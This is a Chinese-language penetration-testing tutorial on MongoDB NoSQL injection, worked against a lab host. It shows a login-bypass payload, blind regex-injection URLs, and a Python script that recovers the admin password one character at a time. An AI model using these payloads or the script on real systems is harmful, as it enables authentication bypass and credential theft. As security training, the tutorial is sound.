web渗透测试(高级) 第9课:MongoDB 注入

即使MongoDB是一个NoSQL数据库,它仍然可以编写易受攻击的代码,因此这个练习有两个NoSQL注入。

 

如果您想自己尝试,请尝试按照以下步骤操作:

  • 了解并了解MongoDB语法的外观(查找项目的网站并阅读文档)。
  • 找到注入点后可用于删除代码的内容(注释,空字节)。
  • 了解如何生成始终真实的条件(例如1)。
  • 了解如何检索信息(例如2)。

 

MongoDB 与几乎支持相同语法的SQL数据库相反,NoSQL数据库具有不同的语法。

 

Example 1

这个例子是(in)著名的' or 1=1 --的MongoDB版本。 如果你还记得你之前看过的内容,你知道你需要两件事来绕过这个登录:

  • 一个永远真实的条件。
  • 一种正确终止NoSQL查询的方法。

 

首先,通过阅读MongoDB文档,您可以发现SQL or 1=1转换为|| 1==1(注意双=)。 然后通过四处搜索,您可以看到NULL BYTE将阻止MongoDB使用其余查询。 您还可以使用注释//<!--来注释掉查询的结尾。

 

有了这些信息,您应该可以绕过身份验证表单。

 

我们可以这样实现MongoDB 注入:

在登录时,如果是mysql这种关系型的数据库,我们可以构造真值等式来绕过。如 or 1=1。 在nosql中同样可以,nosql中的 || 1==1 相当于在sql中的 or 1=1 。 那么我们可以这样绕过:username=fujieace' || 1==1 //MongoDB 注入

 

Example 2

在此示例中,我们将尝试从NoSQL数据库中检索更多信息。

 

使用一些猜测工作(或以前的应用程序知识),我们可以推断出可能存在密码字段。

 

我们可以这样玩,以确认猜测:

  • 如果我们访问 http://192.168.40.131/mongodb/example2/?search=admin'%20%26%26%20this.password.match(/./)//+%00:我们可以看到一个结果。
  • 如果我们访问 http://192.168.40.131/mongodb/example2/?search=admin'%20%26%26%20this.password.match(/zzzzz/)//+%00:我们看不到结果。
  • 如果我们访问 http://192.168.40.131/mongodb/example2/?search=admin'%20%26%26%20this.passwordzz.match(/.*/)//+%00:我们收到错误消息(因为字段passwordzz不存在)。

 

现在,我们有一种方法可以执行盲注,因为我们有两种状态:

  • 正则表达式与某些内容不匹配时没有结果:false 状态。
  • 正则表达式匹配时的一个结果:true状态。

 

利用这些知识,我们可以编写利用脚本来猜测admin密码。 我们将首先使用:^$确保匹配正确完成,以确保我们不匹配字符串中间的字符(否则迭代将更加困难)。

 

算法看起来像:

测试密码是否匹配 /^a.$/ 如果匹配test而没有通配符`.`。 如果不匹配则转到下一个字母。

测试密码是否匹配/^b.$/如果它匹配没有通配符`.`的测试。 如果不匹配则转到下一个字母。

 

例如,如果密码是aab,将执行以下测试:

/^a.*$/将返回true。

/^a$/将返回false。

/^aa.*$/将返回true。

/^aa$/将返回false。

/^aaa.*$/将返回false。

/^aab.*$/将返回true。

/^aab$/将返回true。 密码已被找到。

 

通过这些详细信息,您应该能够检索用户admin的密码。

 

如果某些记录的密码字段不存在(因为它是NoSQL数据库),通过使用... && this.password && this.password.match(... 确保其存在总是一个好主意。而不是仅仅是使用... && this.password.match(...

 

我们可以这样来MongoDB 注入:

根据一点猜测(或者对应用的了解),想必这里还有一个password字段。可以这样来猜测:

url: http://192.168.40.131/mongodb/example2/?search=admin’ && this.password.match(/./)//+%00

其中最后的// 类似于sql中的注释作用。而%00 空字符也可以阻止后边的执行。 还可以加上正则中的 ^ $ 分别限定。 如果成功,则返回结果,如果false,则无结果返回。

Python脚本如下:

def nosql2():
    strs = string.lowercase + string.uppercase + string.digits
    url = "http://192.168.40.131/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^{}$/)//+%00"
    password = ""
    while True:
        for char in strs:
            tmp = password + char
            html = requests.get(url.format(tmp + ".*"))
            if "admin" in html.text:
                password += char
                print "[-] find a char:{}".format(password)
                break
        html = requests.get(url.format(password))
        if "admin" in html.text:
            print "[+] Done! password:{}".format(password)
            break
付杰
  • ¥ 99.0元
  • 市场价:129.0元
  • ¥ 388.0元
  • 市场价:388.0元
  • ¥ 299.0元
  • 市场价:599.0元
  • ¥ 89.0元
  • 市场价:129.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: